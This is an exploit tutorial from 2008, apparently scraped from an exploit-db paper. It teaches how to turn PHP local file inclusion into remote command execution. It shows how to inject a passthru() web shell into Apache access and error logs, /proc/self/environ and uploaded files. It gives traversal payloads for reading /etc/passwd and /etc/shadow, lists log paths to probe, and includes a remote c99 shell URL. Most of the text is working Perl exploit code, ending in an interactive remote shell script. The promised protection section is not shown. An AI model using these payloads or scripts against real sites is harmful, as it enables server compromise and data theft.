SlideShare a Scribd company logo
Vulnerability analysis, Security Papers, Exploit Tutorials                                         http://www.exploit-db.com/papers/12992/



          LFI to RCE Exploit with Perl Script
                              |=--------------------------------------------------------------------=|
                              |=-------------=[ LFI to RCE Exploit with Perl Script ]=--------------=|
                              |=------------------------=[ 7 December 2008 ]=-----------------------=|
                              |=----------------------=[ By CWH Underground ]=--------------------=|
                              |=--------------------------------------------------------------------=|


          ######
           Info
          ######

          Title     :   LFI to RCE Exploit with Perl Script
          Author    :   ZeQ3uL && JabAv0C
          Team      :   CWH Underground [www.milw0rm.com/author/1456]
          Website   :   cwh.citec.us / www.citec.us
          Date      :   2008-12-07


          ##########
           Contents
          ##########

            [0x00] - Introduction

            [0x01] - File Inclusion (RFI/LFI)

                    [0x01a] - How the attack works for Remote File Inclusion [RFI]
                    [0x01b] - How the attack works for Local File Inclusion [LFI]
                    [0x01c] - Vulnerable PHP Function for File Inclusion

            [0x02] - Local File Inclusion To Remote Command Execution [LFI <> RCE]

                    [0x02a] - LFI <> RCE via Apache Log Injection
                    [0x02b] - LFI <> RCE via Process Environ Injection
                    [0x02c] - LFI <> RCE via Other Files

            [0x03] - Fundamental of Perl Library for Exploit Website

                    [0x03a] - Introduction to Socket
                    [0x03b] - Introduction to Library for WWW in Perl (LWP)
                    [0x03c] - Condition to use Socket or LWP

            [0x04] - Writing LFI <> RCE Exploit with Perl Script

                    [0x04a] - Perl Exploit to Injecting code into Target
                    [0x04b] - Perl Exploit to Executing injected code on Target
                    [0x04c] - LFI <> RCE Complete Exploit [Use Logfile Injection]

            [0x05] - How to protect File Inclusion

            [0x06] - References

            [0x07] - Greetz To


          #######################
           [0x00] - Introduction
          #######################

                  Welcome reader, this paper is a short attempt at documenting a practical technique
          we have been working on. This papers will guide about technique that allows the attackers
          (us) gaining access into the process of exploiting a website via File Inclusion (RFI/LFI)
          and enlight the way to create own exploit script with perl

                  This paper is divided into 7 sections but only from section 0x01 to 0x05
          are about technical information.

                  Section 0x01, we talk about general concept of attacking via File Inclusion.
          Section 0x02, we give a detail of how to execute arbitrary command via Local File Inclusion
          in each approach. Section 0x03, we offer rudimentary commands to create HTTP transaction
          with perl and some examples of how to use them. Section 0x04, we assemble knowleadge from
          Section 0x01 to 0x03 in order to create own exploit to execute command on target system
          via Local File Inclusion. The last, section 0x05, we suggest some methods to protect
          your system from File Inclusion Attacking.


          ###################################
           [0x01] - File Inclusion (RFI/LFI)
          ###################################

                  In a File Inclusion, Attackers run their own code on a vulnerable website.
          The attack involves importing code into a program by taking advantage of the unenforced
          and unchecked assumptions the program makes about its inputs. If the attacker can include
          their own malicious code on a web page, it is possible to "convince" a PHP script to include
          a remote file instead of a presumably trusted file from the local file system.




1 of 10                                                                                                                  12/24/10 5:45 PM
Vulnerability analysis, Security Papers, Exploit Tutorials                                     http://www.exploit-db.com/papers/12992/


                  ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
                   [0x01a] - How the attack works for Remote File Inclusion [RFI]
                  ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

                          Remote File Inclusion, known as RFI, is the technique to attack website by
                  injecting php script into target website. It's including "External" files (PHP Shell)
                  in a victim website.If attacker exploits successfully, he can execute arbitary command
                  on victim web server.

                  For instance, a piece of vulnerable PHP code would look like this:

                  [code]----------------------------------------------------------------------------------
                  <?php
                  $file =$_GET['page'];                           //The page we wish to display
                  include($file .".php");                         <-- Vulnerable !!
                  ?>
                  [End code]---------------------------------------------------------------------------------

                  From Code, It does not perform any checks on the content of the $page variable so it is easy
                  to putting our file (PHP Shell) into webpage like this

                  [URL] http://www.hackme.com/index.php?page=http://www.cwh.org/c99.php? and then

                  [code]---------------------------------------------------------------------------------
                  <?php
                  $file ="http://www.cwh.org/c99.php?";           //$_GET['page'];
                  include($file .".php");                         //include http://www.cwh.org/C99.php?.php
                  ?>
                  [End code]---------------------------------------------------------------------------------

                  ** We put "?" at the end of the URL, This makes the script fetch the intended file,
                  with the appended string as a parameter (which is ignored by the attackers script) **


                  +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
                   [0x01b] - How the attack works for Local File Inclusion [LFI]
                  +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

                          LFI is a Local File Inclusion. It originates from including "internal" files
                  in a victim website. In many situations, It is necessary to include content from
                  local file. But if you use it carelessly, it may lead to LFI vulnerabilty. This method
                  is often used in Linux to get "/etc/passwd" and sometimes "/etc/shadow".

                  For instance, a piece of vulnerable PHP code would look like this:

                  [URL] http://www.hackme.com/index.php?template=cwh

                  [code #1]-------------------------------------------------------------------------------
                  <?php
                  $template =$_GET['template'];
                  include("/".$template .".php");                 <-- Vulnerable !!
                  ?>
                  [End code]------------------------------------------------------------------------------

                  From Code, Attacker can assign template to be "../../../../etc/passwd%00".
                  It causes the attacker to read a content from /etc/passwd.

                  [URL] http://www.hackme.com/index.php?template=../../../../etc/passwd%00

                  [code #1]-------------------------------------------------------------------------------
                  <?php
                  $template =$_GET['template'];
                  include("/../../../../etc/passwd%00.php");      <-- Directory Traversal to LFI
                  ?>
                  [End code]------------------------------------------------------------------------------

                  ** Notice %00 (Null CHAR) will ignore everything that comes after %00 (.php suffix) **
                  ** Notice ../../../ will traversal path to root and goto /etc/passwd **

                  [code #2]-------------------------------------------------------------------------------
                  if(grado($HTTP_COOKIE_VARS['cwh_user'],$HTTP_COOKIE_VARS['cwh_pass']) == "admin")
                  {
                  topmenu();
                  include("manage/admin/main.php");
                  foot();
                  } else
                          {
                                  topmenu();
                                  include("manage/".$HTTP_COOKIE_VARS['cwh_user']."/main.php");
                                  foot();
                          }
                  [End code]------------------------------------------------------------------------------

                  From Code, Attacker can exploit via JaSiLDBG
                  (Javascript Inline Debugger - www.milw0rm.com/papers/147)

                  PoC Exploit: javascript:document.cookie = "cwh_user=../../../../etc/passwd%00; path=/";


                  ++++++++++++++++++++++++++++++++++++++++++++++++++++++
                   [0x01c] - Vulnerable PHP Function for File Inclusion
                  ++++++++++++++++++++++++++++++++++++++++++++++++++++++




2 of 10                                                                                                              12/24/10 5:45 PM
Vulnerability analysis, Security Papers, Exploit Tutorials                                       http://www.exploit-db.com/papers/12992/



                          File Inclusion (RFI/LFI) mostly occurs from some functions that developers
                  do not properly check user supplied data.

                  Example PHP function:

                  include()
                  include_once()
                  require()
                  require_once()
                  fopen()


          #######################################################################
           [0x02] - Local File Inclusion To Remote Command Execution [LFI<>RCE]
          #######################################################################

                  In this section, we mention about the concept of using LFI in another way besides reading files.
          Normally, We use LFI to read following files:

          /etc/passwd
          /etc/shadow
          /etc/group
          /etc/security/passwd
          /etc/security/user
          /etc/security/environ
          /etc/security/limits
          or
          Dababase Configuration (config.inc.php)

                  But we can apply LFI Vulnerabilities to execute command by injecting malicious code
          into Apache log, Process Environment and Other files. This method is called "Remote Code Execution (RCE)"


                  +++++++++++++++++++++++++++++++++++++
                   [0x02a] - LFI <> RCE via Apache Log
                  +++++++++++++++++++++++++++++++++++++

                  The Malicious HTTP Request must existed to Apache logs, By their intrinsic nature logfiles contain
                  data that is driven by users look like this:

                  [HTTP Request via Telnet]---------------------------------------------------------------
                  >telnet www.hackme.com 80
                  GET /index.php?p=new.php HTTP/1.1                               <-- Normally GET Request when user visit websites

                  HTTP/1.1 200 OK Content-Length: 82015 Content-Type: text/html Content-Location: ……
                  ………
                  [End Telnet]----------------------------------------------------------------------------

                  [Logfiles - access.log]-----------------------------------------------------------------
                  ......
                  58.18.29.152 - - [05/Dec/2008:12:13:22 +0700]
                  "GET /index.php?p=new.php HTTP/1.1" 200 1958
                  ......
                  [End log]-------------------------------------------------------------------------------

                          If we want to run arbitrary command on target system, we must inject PHP code via
                  HTTP request like <?passthru($_GET[cmd])?> After that logfiles will contain Malicious Code

                  [Malicious HTTP Request via Telnet]-----------------------------------------------------
                  >telnet www.hackme.com 80
                  GET /cwh/<? passthru($_GET[cmd]) ?> HTTP/1.1                    <-- Malicious HTTP Request via Telnet

                  ………
                  ………
                  [End telnet]----------------------------------------------------------------------------

                  [Logfiles - access.log]-----------------------------------------------------------------
                  ......
                  58.18.29.152 - - [05/Dec/2008:12:14:22 +0700]
                  "GET /cwh/<? passthru($_GET[cmd]) ?> HTTP/1.1" 200 1958         <-- Inject Code into Logfiles
                  ......
                  [End log]-------------------------------------------------------------------------------

                          Now We can use LFI Vuln to run arbitrary command by finding out where the logs are stored
                  Go to LFI Vuln path:

                  [URL] www.hackme.com/index.php?p=../../apache/logs/access.log     <-- You must find Log location
                  (You can see ../../ that traversal to apache access log)

                  In webpage, you will see detailed like this:

                  Warning: passthru() [function.passthru]: Cannot execute a blank command in
                  /opt/lampp/apache/logs/access.log on line 457

                          That's Great !! We have alredy injected code to logfiles, Now run arbitrary command
                  with "cmd" variable like this:

                  [LFI <> RCE URL] www.hackme.com/index.php?p=../../apache/logs/access.log%00&cmd=ls -la

                  ** Notice **




3 of 10                                                                                                                12/24/10 5:45 PM
Vulnerability analysis, Security Papers, Exploit Tutorials                                     http://www.exploit-db.com/papers/12992/


                          If you send Malicious HTTP Request from browser
                  "www.hackme.com/cwh/<? passthru($_GET[cmd]) ?>", the logfile will show in URL encode format

                  [Logfiles - access.log]-----------------------------------------------------------------
                  ......
                  58.18.29.152 - - [05/Dec/2008:12:15:14 +0700]
                  "GET /cwh/%3C?%20passthru($_GET[cmd])%20?%3E HTTP/1.1" 200 1958 <-- Not work for Inject
                  ......
                  [End log]-------------------------------------------------------------------------------

                          It won't work for RCE because browser will automatically encode special characters
                  (URL encode) after that it writes encoded request into logfiles (access.log).
                          So we must Inject malicious code via Telnet, Netcat or Perl script with
                  socket/useragent/referer that we will guide in next chapter.

                          == How about error.log ==

                          Error log is written when the requested file does not exist. Thus we can inject
                  malicious code by requesting to non-existed file or inject via "Referer".

                  [Malicious HTTP Request via Telnet]-----------------------------------------------------
                  >telnet www.hackme.com 80
                  GET /<? passthru($_GET[cmd]) ?>         <-- Get non-existed file with PHP Code

                  ………
                  ………
                  [End telnet]----------------------------------------------------------------------------

                  [Logfiles - error.log]------------------------------------------------------------------
                  ......
                  [Sat Dec 06 15:12:56 2008] [error] [client 127.0.0.1] (20024)The given path
                  misformatted or contained invalid characters: Cannot map GET /<?passthru($_GET[cmd])?> to file
                  ......
                  [End log]-------------------------------------------------------------------------------

                          Bingo !! We can injected code thru error.log, Next example show you about inject code
                  into "referer".

                  [Logfiles - error.log]------------------------------------------------------------------
                  ......
                  [Sat Dec 06 13:57:57 2008] [error] [client 58.14.21.120]
                  File does not exist: /opt/lampp/htdocs/test/images/boxmenu.gif,
                  referer: http://www.hackme.com/index.php?p=main.php      <-- Normally HTTP Request
                  ......
                  [End log]-------------------------------------------------------------------------------

                          From log, Attacker can inject malicious code into "referer" then error.log will be written
                  evil code. However injecting to access.log is easier than error.log

                  [Logfiles - error.log]------------------------------------------------------------------
                  ......
                  [Sat Dec 06 13:57:57 2008] [error] [client 58.14.21.120]
                  File does not exist: /opt/lampp/htdocs/test/images/boxmenu.gif,
                  referer: <? passthru($_GET[cmd]) ?>                     <-- Inject Malicious Code in Referer
                  ......
                  [End log]-------------------------------------------------------------------------------

                          Default Log locations list that used with LFI:

                  ../apache/logs/error.log
                  ../apache/logs/access.log
                  ../../apache/logs/error.log
                  ../../apache/logs/access.log
                  ../../../apache/logs/error.log
                  ../../../apache/logs/access.log
                  ../../../../../../../etc/httpd/logs/acces_log
                  ../../../../../../../etc/httpd/logs/acces.log
                  ../../../../../../../etc/httpd/logs/error_log
                  ../../../../../../../etc/httpd/logs/error.log
                  ../../../../../../../var/www/logs/access_log
                  ../../../../../../../var/www/logs/access.log
                  ../../../../../../../usr/local/apache/logs/access_   log
                  ../../../../../../../usr/local/apache/logs/access.   log
                  ../../../../../../../var/log/apache/access_log
                  ../../../../../../../var/log/apache2/access_log
                  ../../../../../../../var/log/apache/access.log
                  ../../../../../../../var/log/apache2/access.log
                  ../../../../../../../var/log/access_log
                  ../../../../../../../var/log/access.log
                  ../../../../../../../var/www/logs/error_log
                  ../../../../../../../var/www/logs/error.log
                  ../../../../../../../usr/local/apache/logs/error_l   og
                  ../../../../../../../usr/local/apache/logs/error.l   og
                  ../../../../../../../var/log/apache/error_log
                  ../../../../../../../var/log/apache2/error_log
                  ../../../../../../../var/log/apache/error.log
                  ../../../../../../../var/log/apache2/error.log
                  ../../../../../../../var/log/error_log
                  ../../../../../../../var/log/error.log


                  ++++++++++++++++++++++++++++++++++++++++++




4 of 10                                                                                                                12/24/10 5:45 PM
Vulnerability analysis, Security Papers, Exploit Tutorials                                     http://www.exploit-db.com/papers/12992/


                   [0x02b] - LFI <> RCE via Process Environ
                  ++++++++++++++++++++++++++++++++++++++++++

                          When we request to PHP page, new process will be created. In *nix system, Each process
                  has its own /proc entry. /proc/self/ is a static path and symbolic link from lastest process
                  used that contain useful information. If we inject malicious code into /proc/self/environ, we
                  can run arbitrary command from target via LFI

                  [The Question] How to inject code into /proc/self/environ ?
                  [The Answer]   We can inject thru User-Agent.

                          In Firefox Browser, we use "User Agent Switcher Add-ons" that can specify your user agent
                  manually Or use perl script to specify user agent with malicious code (See Next chapter).

                  For instance, a piece of /proc/self/environ would look like this:

                  [code]----------------------------------------------------------------------------------
                  PATH=/sbin:/usr/sbin:/bin:/usr/bin:/usr/X11R6/bin:/usr/bin:/bin
                  SERVER_ADMIN=root@hackme.com
                  ...
                  Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.4)
                  Gecko/2008102920 Firefox/3.0.4 HTTP_KEEP_ALIVE=300              <-- It contains User-agent
                  ...
                  [End code]------------------------------------------------------------------------------

                          When we injected <?passthru($_GET[cmd])?> into our User Agent,
                  /proc/self/environ will contain Malicious code like this:

                  [code]----------------------------------------------------------------------------------
                  PATH=/sbin:/usr/sbin:/bin:/usr/bin:/usr/X11R6/bin:/usr/bin:/bin
                  SERVER_ADMIN=root@hackme.com
                  ...
                  <?passthru($_GET[cmd])?> HTTP_KEEP_ALIVE=300                    <-- Injected Malicious code
                  ...
                  [End code]------------------------------------------------------------------------------

                          Then Go to www.hackme.com/index.php?p=../../../../../proc/self/environ%00&cmd=ls -la

                  ** Notice **

                          We don't recommend to use this method because It's immediately to inject code and run
                  command before self link change to other process.


                  ++++++++++++++++++++++++++++++++++++++
                   [0x02c] - LFI <> RCE via Other Files
                  ++++++++++++++++++++++++++++++++++++++

                           We saw Vulnerabilities in old version of FCKEditor (www.milw0rm.com/exploits/1484)
                  that allow many file extension to be uploaded, Some versions we can upload an extension not specified in FCKEditor
                  Config[DeniedExtensions][File] array such as .php3,.aa,.bb,.cwh,.blahblahblah. If the website have vulnerability
                  in Local File Inclusion, we can inject malicious code (<?passthru($_GET[cmd])?>) into uploaded file and use LFI
                  traversal with uploaded file links (/userfiles/upload/shell.cwh) to run arbitrary command.

                          For example:

                          [LFI Vulnerable] www.hackme.com/index.php?p=
                          [Uploaded File] www.hackme.com/userfiles/upload/shell.cwh
                          [LFI <> RCE]     www.hackme.com/index.php?p=./userfiles/upload/shell.cwh%00&cmd=ls -la

                          Many website in the world allow to upload image file (jpg/gif/bmp/...) almost websites only check file extension
                  (.jpg/.gif/...) so it's vuln !!. If Attacker inject malicious code into image file (Maybe use edjpgcom to insert PHP code
                  to jpeg file or change extension to image file manually) and upload to target server, Use LFI technique traversal to
                  uploaded file and execution arbitrary command.

                          ** We will guide you about specify file extension with Perl in Next chapter **


          ##########################################################
           [0x03] - Fundamental of Perl Library for Exploit Website
          ##########################################################

                  In this section, we will talk about fundamental of neccessary perl commands used to send HTTP packet to server.
          They play a significant role in writing exploit. We recommend you to read this section before step to next section.
          But if you are familiar with Socket and LWP, you can skip this section. All commands mentioned in this section will be
          used in next section.

                  ++++++++++++++++++++++++++++++++++
                   [0x03a] - Introduction to Socket
                  ++++++++++++++++++++++++++++++++++

                          Socket is method to create a connection between hosts. we use it to create a connection between our pc
                  and a remote server in order to send manipulated request to a server. The informations that we have to provide for
                  a socket are protocol, server address, server port and data. In perl, we use IO::Socket library to create a socket.

                  Syntax for create a socket is following.

                  [code]----------------------------------------------------------------------------------
                  $socket = IO::Socket::INET->new (PROTOCAL, PEERADDR, PEERPORT);
                  [End code]------------------------------------------------------------------------------

                  For Example: If we want to create socket to port 80 on server ip 192.168.0.111 with tcp protocol,




5 of 10                                                                                                               12/24/10 5:45 PM
Vulnerability analysis, Security Papers, Exploit Tutorials                                       http://www.exploit-db.com/papers/12992/


                  we can use following command:

                  [code]----------------------------------------------------------------------------------
                  $socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$host", PeerPort=>"80");
                  [End code]------------------------------------------------------------------------------

                  when we want to send http request through this socket, we can use this syntax.

                  [code]----------------------------------------------------------------------------------
                  print $socket $data;
                  [End code]------------------------------------------------------------------------------

                  For Example:

                  [code]----------------------------------------------------------------------------------
                  $socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$host", PeerPort=>"80");
                  print $socket "GET /index.php HTTP/1.1rn";
                  print $socket "Host: 192.168.0.111rn";
                  print $socket "Connection: closernrn";
                  [End code]------------------------------------------------------------------------------

                  After finish using socket, we have to close the socket by this syntax.

                  [code]----------------------------------------------------------------------------------
                  close ($socket);
                  [End code]------------------------------------------------------------------------------

                  Finally, we can group the entire code together.

                  [code]----------------------------------------------------------------------------------
                  use IO::Socket;
                  $socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$host", PeerPort=>"80");
                  print $socket "GET /index.php HTTP/1.1rn";
                  print $socket "Host: 192.168.0.111rn";
                  print $socket "Connection: closernrn";
                  close ($socket);
                  [End code]------------------------------------------------------------------------------


                  +++++++++++++++++++++++++++++++++++++++++++++++++++++++++
                   [0x03b] - Introduction to Library for WWW in Perl (LWP)
                  +++++++++++++++++++++++++++++++++++++++++++++++++++++++++

                          LWP is a set of perl module designed to handle sending of http request. Usually we use this library
                  simultaneously with HTTP::Request and HTTP::Response.

                  If we speak clearly, we can classify a role of these library as following:

                  - HTTP::Request => used to manipulate http request.
                  - LWP::UserAgent => used to sent http request.
                  - HTTP::Response => used to handle http response.

                  If we want to use these libraries to obtain content from index.php file on 192.168.0.111,
                  we can following these steps.

                  1: Create http request header using HTTP::Request

                  [code]----------------------------------------------------------------------------------
                  $request = HTTP::Request->new (GET => "http://192.168.0.111/index.php");
                  $request->header (User_Agent => "Mozilla 2.0");
                  [End code]------------------------------------------------------------------------------

                  2: Send the http request to server by LWP::UserAgent and obtain http response by HTTP::Response

                  [code]----------------------------------------------------------------------------------
                  $ua = LWP::UserAgent->new();
                  $response = $ua->request ($request);    ## Return value of request function is HTTP::Response object.
                                                          ## So now we have $response holding HTTP::Response object
                  [End code]------------------------------------------------------------------------------

                  3: Get http response content from HTTP::Response object, Ex:

                  [code]----------------------------------------------------------------------------------
                  print $response->code;                  ## response code ex. 200, 404, 503
                  print $response->header->as_string;     ## response header
                  print $response->content;               ## html code of http response
                  [End code]------------------------------------------------------------------------------

                  If we group all code together to show header and content of http transaction, we can do following:

                  [code]----------------------------------------------------------------------------------
                  use LWP;
                  use HTTP::Request;

                  $request = HTTP::Request->new (GET => "http://192.168.0.111/index.php");
                  $request->header (User_Agent => "Mozilla 2.0");

                  $ua = LWP::UserAgent->new();
                  $response = $ua->request ($request);

                  print $response->header->as_string;        ## $response->header is an object of HTTP::Header. It cannot to print as string,
                                                             ## so we use as_string method to solve this problem




6 of 10                                                                                                                 12/24/10 5:45 PM
Vulnerability analysis, Security Papers, Exploit Tutorials                                        http://www.exploit-db.com/papers/12992/


                  print "n";
                  print $response->content;
                  [End code]------------------------------------------------------------------------------


                  ++++++++++++++++++++++++++++++++++++++++++
                   [0x03c] - Condition to use Socket or LWP
                  ++++++++++++++++++++++++++++++++++++++++++

                          As you can see above, Socket and LWP can send http request to server.
                  But we have only a few conditions to dicide to use Socket or LWP.

                  1: We will use Socket when,

                  - We do not want http response. (Only inject http request packet to server)
                  - We do not want http request to be encoded. (If we send get method with LWP, the HTTP request will be URL Encoded)

                  2: We will use LWP when,

                  - We want http response. (It will be stored in HTTP::Response object)
                  - Other condition ;D (We think it is more convenient to us than Socket)


          ######################################################
           [0x04] - Writing LFI <> RCE Exploit with Perl Script
          ######################################################

                  ++++++++++++++++++++++++++++++++++++++++++++++++++++++
                   [0x04a] - Perl Exploit to Injecting code into Target
                  ++++++++++++++++++++++++++++++++++++++++++++++++++++++

                          We can inject our php code to server in many ways as I mention above. The rest that we have to work
                  with is creating perl script to do our task.
                          To create perl script to send malicious request, we will use socket to help this part.
                  Before writing perl script, we have to know which file we will inject code into and how to do that.

                  [+] Inject via logfile

                          Logfiles are written when there is a request to a file on server. Thus we can manipulate
                  http request in order to inject malicious code.

                  Example:

                  [code]----------------------------------------------------------------------------------
                  $socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$host", PeerPort=>"80");
                  print $socket "GET /cwhunderground <? passthru($_GET[cmd]); ?> HTTP/1.1rn";
                  print $socket "host: 192.168.0.111rn";
                  print $socket "Connection: closernrn";
                  close ($socket);
                  [End code]------------------------------------------------------------------------------


                  [+] Inject via Other files

                          In some websites, they allow us to upload files. If we know the path to uploaded file,
                  we can use LFI vulnerability to execute command in our uploaded file.

                  Example:

                  [code]----------------------------------------------------------------------------------
                  $socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$host", PeerPort=>"80");
                  print $socket "POST /uploadsave.php HTTP/1.1rn";
                  print $socket "host: 192.168.0.111rn";
                  print $socket "Content-Type: multipart/form-data; boundary=CwHCwHrn";
                  print $socket "--CwHCwHrn";
                  print $socket "Content-Disposition: form-data; name="shell.cwh"; filename="shell.cwh"rn";
                  print $socket "Content-Type: application/ziprnrn";
                  print $socket "<? passthru($_GET[cmd]); ?>n";
                  print $socket "--CwHCwHrn";
                  close ($socket);
                  [End code]------------------------------------------------------------------------------


                  [+] Inject via process environment

                          In process environment file, there is user agent of using browser as a part of content.
                  Therefore we can inject malicious code by spoofing user agent.

                  Example:

                  [code]----------------------------------------------------------------------------------
                  $socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$host", PeerPort=>"80");
                  print $socket "GET /index.php HTTP/1.1rn";
                  print $socket "host: 192.168.0.111rn";
                  print $socket "User-Agent: <? passthru($_GET[cmd]); ?>rn";
                  print $socket "Connection: closernrn";
                  close ($socket);
                  [End code]------------------------------------------------------------------------------


                  +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
                   [0x04b] - Perl Exploit to Executing injected code on Target




7 of 10                                                                                                                 12/24/10 5:45 PM
Vulnerability analysis, Security Papers, Exploit Tutorials                                       http://www.exploit-db.com/papers/12992/


                  +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

                          As previous section, we can inject malicious code into some files on server by example code.
                  In this section, we will show how to create script to execute our code on server. So, we have to bring
                  the concept from section 0x03b about LWP library.
                  (We choose to use LWP because we need http response to show result from execution of our code)

                  [+] Execute code from logfile

                  [code]----------------------------------------------------------------------------------
                  use LWP;
                  use HTTP::Request;

                  $logfile = "../../../../var/log/httpd/access.log";                <-- We must specify Logfile locations

                  ## looping for execute command and exit program when command = exit ##
                  print "cwh-shell# ";
                  chomp( $cmd = <STDIN> );
                  while($cmd !~ "exit")
                  {
                     $content = "";
                     $request = HTTP::Request->new (GET => "http://192.168.0.111/path/to/lfi.php?file=".$logfile."%00&cmd=".$cmd);
                     $ua = LWP::UserAgent->new();
                     $response = $ua->request ($request);
                     $content = $response->content;
                     print $content."n";
                     print "cwh-shell# ";
                     chomp( $cmd = <STDIN> );
                  }
                  [End code]------------------------------------------------------------------------------


                  [+] Execute code from Other files

                          I assume that the uploaded file is ../../../path/to/uploaded/file/shell.cwh .
                  We will get RCE script like this.

                  [code]----------------------------------------------------------------------------------
                  use LWP;
                  use HTTP::Request;

                  $uploadedfile = "../../../path/to/uploaded/file/shell.cwh";

                  ## looping for execute command and exit program when command = exit ###
                  print "cwh-shell# ";
                  chomp( $cmd = <STDIN> );
                  while($cmd !~ "exit")
                  {
                     $content = "";
                     $request = HTTP::Request->new (GET => "http://192.168.0.111/path/to/lfi.php?file=".$uploadedfile."%00&cmd=".$cmd);
                     $ua = LWP::UserAgent->new();
                     $response = $ua->request ($request);
                     $content = $response->content;
                     print $content."n";
                     print "cwh-shell# ";
                     chomp( $cmd = <STDIN> );
                  }
                  [End code]------------------------------------------------------------------------------

                  [+] Execute code from process environment

                          The injected process environment file is /proc/self/environ.
                  So, we have to traversal back to root path by using ../../

                  [code]----------------------------------------------------------------------------------
                  use LWP;
                  use HTTP::Request;

                  $procenviron = "../../../../../../proc/self/environ";

                  ## looping for execute command and exit program when command = exit ##
                  print "cwh-shell# ";
                  chomp( $cmd = <STDIN> );
                  while($cmd !~ "exit")
                  {
                     $content = "";
                     $request = HTTP::Request->new (GET => "http://192.168.0.111/path/to/lfi.php?file=".$procenviron."%00&cmd=".$cmd);
                     $ua = LWP::UserAgent->new();
                     $response = $ua->request ($request);
                     $content = $response->content;
                     print $content."n";
                     print "cwh-shell# ";
                     chomp( $cmd = <STDIN> );
                  }
                  [End code]------------------------------------------------------------------------------


                          Finally, as you can see from three codes above, the code to loop for execute command is the same.
                  The difference is how to find a path of injected file.

                  +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
                   [0x04c] - LFI <> RCE Complete Exploit [Use Logfile Injection]




8 of 10                                                                                                                 12/24/10 5:45 PM
Vulnerability analysis, Security Papers, Exploit Tutorials                                     http://www.exploit-db.com/papers/12992/


                  +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

                          In order to execute code from logfile, we have a problem that we do not know the exact path of logfile.
                  So we have to find path by looping through the fesible paths that we have and see which file contain
                  the word "cwhunderground" as we inject in previous example code.

                  Simple Code for LFI <> RCE Exploit:

                  [code]----------------------------------------------------------------------------------
                  use LWP::UserAgent;
                  use IO::Socket;
                  use LWP::Simple;

                  $log="../";
                  @apache=(
                  "../../../../../var/log/httpd/access_log",
                  "../apache/logs/access.log",
                  "../../apache/logs/access.log",
                  "../../../apache/logs/access.log",
                  "../../../../apache/logs/access.log",
                  "../../../../../apache/logs/access.log",
                  "../logs/access.log",
                  "../../logs/access.log",
                  "../../../logs/access.log",
                  "../../../../logs/access.log",
                  "../../../../../logs/access.log",
                  "../../../../../etc/httpd/logs/access_log",
                  "../../../../../etc/httpd/logs/access.log",
                  "../../.. /../../var/www/logs/access_log",
                  "../../../../../var/www/logs/access.log",
                  "../../../../../usr/local/apache/logs/access_log",
                  "../../../../../usr/local/apache/logs/access.log",
                  "../../../../../var/log/apache/access_log",
                  "../../../../../var/log/apache/access.log",
                  "../../../../../var/log/access_log",
                  "../../../../../var/log/access_log"
                  );

                  my $sis="$^O";if ($sis eq 'MSWin32') { system("cls"); } else { system("clear"); }

                  print   "n==========================================n";
                  print   "            LFI to RCE Exploit n";
                  print   "            By CWH Underground n";
                  print   "==========================================n";

                  if (@ARGV < 2)
                  {
                      print "Usage: ./xpl.pl <Host> <Path>n";
                      print "Ex. ./xpl.pl www.hackme.com /ktp/index.php?page=n";
                  }

                  $host=$ARGV[0];
                  $path=$ARGV[1];

                  if ( $host    =~   /^http:/ ) {$host =~ s/http:////g;}

                  print "nTrying to Inject the Code...n";
                  $CODE="<?php if(get_magic_quotes_gpc()){ $_GET[cmd]=stripslashes($_GET[cmd]);} passthru($_GET[cmd]);?>";
                  $socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$host", PeerPort=>"80") or die "Could not connect to host.nn";
                  print $socket "GET /cwhunderground "."##%$$%##".$CODE."##%$$%##"." HTTP/1.1rn";
                  print $socket "Host: ".$host."rn";
                  print $socket "Connection: closernrn";
                  close($socket);

                  if ( $host    !~   /^http:/ ) {$host = "http://" . $host;}

                  foreach $getlog(@apache)
                          {
                            chomp($getlog);
                            $find= $host.$path.$getlog."%00";
                            $xpl = LWP::UserAgent->new() or die "Could not initialize browsern";
                            $req = HTTP::Request->new(GET => $find);
                            $res = $xpl->request($req);
                            $info = $res->content;
                            if($info =~ /cwhunderground/)
                            {print "nSuccessfully injected in $getlog n";$log=$getlog;}
                          }

                  print "cwh-shell# ";
                  chomp( $cmd = <STDIN> );

                  while($cmd !~ "exit") {
                                   $shell= $host.$path.$log."%00&cmd=$cmd";
                                   $xpl = LWP::UserAgent->new() or die "Could not initialize browsern";
                                   $req = HTTP::Request->new(GET => $shell);
                                   $res = $xpl->request($req);
                                   $info = $res->content;
                                           if ($info =~ /##%$$%##(.*?)##%$$%##/sg)
                                           {print $1;}
                                   print "cwh-shell# ";
                                   chomp( $cmd = <STDIN> );
                  }




9 of 10                                                                                                               12/24/10 5:45 PM
